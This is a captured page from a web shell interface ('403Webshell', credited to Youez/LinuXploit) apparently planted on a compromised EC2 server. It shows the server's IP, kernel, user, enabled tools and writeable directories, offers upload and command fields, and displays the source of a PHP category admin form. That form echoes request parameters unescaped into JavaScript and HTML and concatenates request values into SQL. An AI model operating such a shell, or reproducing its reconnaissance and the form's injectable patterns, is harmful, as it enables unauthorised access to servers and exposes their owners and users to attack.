403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/connections/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/connections/mod/category_form.php
<?php include('_mod_security.php'); ?>
<?php
	form_prep('categories', 'basic_info', 'frm_category');
	if ($_POST['ajax_event_submitted'] == '1') :
		form_prep_submit();
		form_validate_all();
		if (!$err_flag) :
			try {
				$db->beginTransaction();
				$set = sql_set_update() . form_generate_set();
				if ($action == 'Edit') :
					$sql = "UPDATE categories set " . $set .
						"WHERE id = " . nz(trim($_REQUEST['id']), '0') . " ";
					save_db_revision('categories');
					$db->query($sql);
					post_set_update();
				else :
					if ($action == 'Add New') :
						$sql = "INSERT INTO categories SET " .
							sql_set_create() .
							$set;
						$db->query($sql);
						$_REQUEST['id'] = last_id();
						$_POST['id'] = $_REQUEST['id'];
						post_set_create_update();
					endif;
				endif;
				$db->commit();
			} catch(Exception $e) {
				db_err_rollback($e);
			}
			form_success();
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	else :
		if ($action == 'Edit') :
			$sql = "SELECT * FROM categories WHERE id = " . nz(trim($_REQUEST['id']), '0') . " ";
			if (!get_row_to_post($sql)) :
				echo form_fatal_error('Invalid Operation!');
				return;
			endif;
		else :
			$_POST['active'] = 1;
		endif;
	endif;

?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';

	update_header = function() {
		if ($("#description").val() > "") {
			$("#header_repeater").text(" - " + $("#description").val());
		}
	}

	$(document).ready(function() {
		switch_tab('<?php echo $active_tab; ?>');
		update_header();
		$(':input:not(.search)').change(function() {
			sheet_dirty = true;
		});
	})
</script>

<h1>Category - <?php echo $action; ?><span id="header_repeater"></span></h1>
<?php echo form_message($form_message); ?>

<form name="frm_category" id="frm_category" method="post" action="">
	<input name="ajax_event_submitted" type="hidden" value="1" />
	<input name="id" type="hidden" value="<?php echo $_REQUEST['id']; ?>" />
	<input name="active_tab" id="active_tab" type="hidden" value="basic_info" />
	<?php form_button_strip('top'); ?>
	<div class="tab_strip">
		<?php
		form_tab_header('basic_info', 'Basic Info', 'admin,dataentry');
		if (!empty($_REQUEST['id'])) :
			form_tab_header('venues', 'Venues', 'admin,dataentry');
			form_tab_header('revisions', 'Revisions', 'admin,dataentry');
		endif;
		?>
	</div>
	<div class="cleardiv">
		&nbsp;
	</div>
	<?php form_tab_start('basic_info', 'Category - Basic Info'); ?>
		<div class="input_column">
			<?php
			form_field('id', 'text', 10, 0, false, false, true, '', '', 'id', 'Category ID');
			form_field('description', 'text', 50, 0, true, false, false, '', '', 'description', 'Description', [], '', 'update_header();');
			form_field('active', 'checkbox', 50, 0, false, false, false, '', '', 'active', 'Active');
			?>
		</div>
		<div class="input_column">
			<?php
			form_field('comments', 'textarea', 70, 9, false, false, false, '', '', 'comments', 'Comments');
			?>
		</div>
	<?php form_tab_end(); ?>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<?php form_tab_start('venues', 'Category - Venues'); ?>
		<?php
		$ix_form = 'venue_form&category_id='.nz($_REQUEST['id'], '0');
		db_navigator_bar(['table_id' => 'db_grid_events', 'form' => $ix_form, 'print_section' => 'db_grid_events', 'call' => 'venues_ajax', 'sort_col' => '1', 'sort_order' => '1', 'subtab' => 'true', 'parm1' => " AND v.category_id = " . nz($_REQUEST['id'], '0') . " ", 'func' => 'grid', 'filter_cols'=>'0,0,0,0,0,0,1,0,0']);
		?>
	<?php form_tab_end(); ?>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<?php form_tab_revisions('categories', $_REQUEST['id']); ?>
	<?php form_button_strip('bottom'); ?>
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit